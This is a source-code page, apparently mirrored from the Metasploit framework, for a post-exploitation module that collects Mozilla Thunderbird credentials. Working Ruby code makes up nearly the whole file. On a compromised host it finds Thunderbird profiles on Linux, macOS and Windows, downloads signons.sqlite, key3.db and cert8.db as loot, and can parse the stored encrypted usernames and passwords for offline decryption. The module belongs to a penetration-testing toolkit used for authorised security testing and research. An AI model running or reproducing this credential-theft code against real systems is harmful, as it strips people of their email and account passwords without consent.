Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/thunderbird_creds.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::UserProfiles
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Multi Gather Mozilla Thunderbird Signon Credential Collection',
15
'Description' => %q{
16
This module will collect credentials from Mozilla Thunderbird by downloading
17
the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for
18
offline decryption with third party tools.
19
20
If necessary, you may also set the PARSE option to true to parse the sqlite
21
file, which contains sensitive information such as the encrypted username/password.
22
However, this feature is not enabled by default, because it requires SQLITE3 gem
23
to be installed on your machine.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'sinn3r', # Metasploit
28
],
29
'Platform' => %w[linux osx win],
30
'SessionTypes' => ['meterpreter', 'shell'],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
core_channel_eof
35
core_channel_open
36
core_channel_read
37
core_channel_write
38
stdapi_sys_config_getenv
39
]
40
}
41
},
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'SideEffects' => [],
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options(
51
[
52
OptBool.new('PARSE', [false, 'Use SQLite3 to parse the database', false])
53
]
54
)
55
end
56
57
def run
58
# Initialize Thunderbird's base path based on the platform
59
case session.platform
60
when 'linux'
61
user = session.shell_command('whoami').chomp
62
base = "/home/#{user}/.thunderbird/"
63
when 'osx'
64
user = session.shell_command('whoami').chomp
65
base = "/Users/#{user}/Library/Thunderbird/Profiles/"
66
when 'windows'
67
if session.type == 'meterpreter'
68
user_profile = session.sys.config.getenv('APPDATA')
69
else
70
user_profile = cmd_exec('echo %APPDATA%').strip
71
end
72
base = user_profile + '\\Thunderbird\\Profiles\\'
73
end
74
75
# Now we have the path for Thunderbird, we still need to enumerate its
76
# random profile names.
77
print_status("Looking for profiles in #{base}...")
78
profiles = get_profile_names(base)
79
80
# Steal!
81
profiles.each do |profile|
82
next if profile =~ /^\./
83
84
slash = (session.platform == 'windows') ? '\\' : '/'
85
p = base + profile + slash
86
87
# Download the database, and attempt to process the content
88
download_loot(p)
89
end
90
end
91
92
#
93
# Download signons.sqlite and key3.db.
94
# The routine will attempt to parse the sqlite db if the PARSE option is true,
95
# and that SQLite3 is installed on the user's box.
96
#
97
def download_loot(path)
98
# These are the files we wanna grab for the directory for future decryption
99
files = ['signons.sqlite', 'key3.db', 'cert8.db']
100
101
files.each do |item|
102
loot = ''
103
104
# Download the file
105
# # @todo replace this with `Msf::Post::File.read_file`
106
if session.type == 'meterpreter'
107
vprint_status("Downloading: #{path + item}")
108
begin
109
f = session.fs.file.new(path + item, 'rb')
110
loot << f.read until f.eof?
111
rescue StandardError => e
112
vprint_error(e.message)
113
ensure
114
f.close
115
end
116
elsif session.type == 'shell'
117
cmd_show = (session.platform == 'windows') ? 'type' : 'cat'
118
# The type command will add a 0x0a character in the file? Pff.
119
# Gotta lstrip that.
120
loot = cmd_exec(cmd_show, "\"#{path + item}\"").lstrip
121
next if loot =~ /system cannot find the file specified|No such file/
122
end
123
124
# Save it
125
ext = ::File.extname(item)
126
ext = ext[1, ext.length]
127
128
loot_path = store_loot(
129
"tb.#{item}",
130
"binary/#{ext}",
131
session,
132
loot,
133
"thunderbird_raw_#{item}",
134
"Thunderbird Raw File #{item}"
135
)
136
137
print_status("#{item} saved in #{loot_path}")
138
139
# Parse signons.sqlite
140
next unless item =~ (/signons\.sqlite/) && datastore['PARSE']
141
142
print_status('Parsing signons.sqlite...')
143
data_tbl = parse(loot_path)
144
if data_tbl.nil? || data_tbl.rows.empty?
145
print_status('No data parsed')
146
next
147
end
148
149
loot_path = store_loot(
150
"tb.parsed.#{item}",
151
'text/plain',
152
session,
153
data_tbl.to_csv,
154
"thunderbird_parsed_#{item}",
155
"Thunderbird Parsed File #{item}"
156
)
157
print_status("Parsed signons.sqlite saved in: #{loot_path}")
158
end
159
end
160
161
#
162
# Parse the sqlite database.
163
# This thing requires sqlite3 gem, so we don't really recommend it.
164
# The best way is to use railgun, but as of now we don't support that.
165
# Can't just LoadLibrary("sqlite3.dll") or LoadLibrary("mozsqlite3.dll")
166
#
167
def parse(file)
168
begin
169
require 'sqlite3'
170
rescue LoadError
171
print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")
172
return nil
173
end
174
175
# Load the database
176
db = SQLite3::Database.new(file)
177
begin
178
_, *rows = db.execute('select * from moz_logins')
179
rescue StandardError => e
180
print_error("doh! #{e}")
181
return nil
182
ensure
183
db.close
184
end
185
186
# Create a rex table to store our data
187
tbl = Rex::Text::Table.new(
188
'Header' => 'Thunderbird login data',
189
'Indent' => 1,
190
'Columns' =>
191
[
192
'hostname',
193
'httpRealm',
194
'formSubmitURL',
195
'usernameField',
196
'passwordField',
197
'encryptedUsername',
198
'encryptedPassword',
199
'guid'
200
]
201
)
202
203
# Parse the db, store the data
204
rows.each do |row|
205
tbl << [
206
row[1], # hostname
207
row[2], # httpRealm
208
row[3], # formSubmitURL (could be nil)
209
row[4], # usernameField
210
row[5], # passwordField
211
row[6], # encryptedUsername
212
row[7], # encryptedPassword
213
row[8] # guid
214
]
215
end
216
217
return tbl
218
end
219
220
#
221
# Return the profile names based on a base path.
222
# The format for the random profile name goes like: [random].default
223
#
224
def get_profile_names(path)
225
tb_profiles = []
226
227
if session.type == 'meterpreter'
228
session.fs.dir.foreach(path) do |subdir|
229
tb_profiles << subdir
230
end
231
else
232
cmd = (session.platform == 'windows') ? "dir \"#{path}\"" : "ls -ld #{path}*/"
233
dir = cmd_exec(cmd)
234
dir.each_line do |line|
235
line = line.strip
236
next if session.platform == 'windows' && line !~ /<DIR>((.+)\.(\w+)$)/
237
next if (session.platform == 'linux' || session.platform == 'osx') && line !~ /(\w+\.\w+)/
238
239
tb_profiles << ::Regexp.last_match(1) if !::Regexp.last_match(1).nil?
240
end
241
end
242
return tb_profiles
243
end
244
end
245
246
=begin
247
If you're really curious about Mozilla's encryption/descryption API, download this:
248
ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/8.0/source/
249
250
And then read the following files:
251
mozilla/security/manager/ssl/src/nsSDR.cpp
252
mozilla/security/nss/lib/pk11wrap/pk11sdr.c
253
254
Using a 3rd party decryptor is easier because Mozilla uses 2 different databases
255
(SQLite and Berkeley DB) to store the crypto information. This makes proper decryption
256
implementation kind of uneasy, because railgun currently doesn't support SQLite3 and
257
BDB (require special handling -- it's not like you can do LoadLibrary('mozsqlite3.dll')
258
to load the lib). Not to mention you need to borrow several more Mozilla components to
259
do the decryption. BDB gem unfortunately is kind of busted during my testing, so I guess
260
we can pretty much forget about doing the decryption locally... chances are a lot of
261
users would have problems just to get that setup going anyway.
262
=end
263
264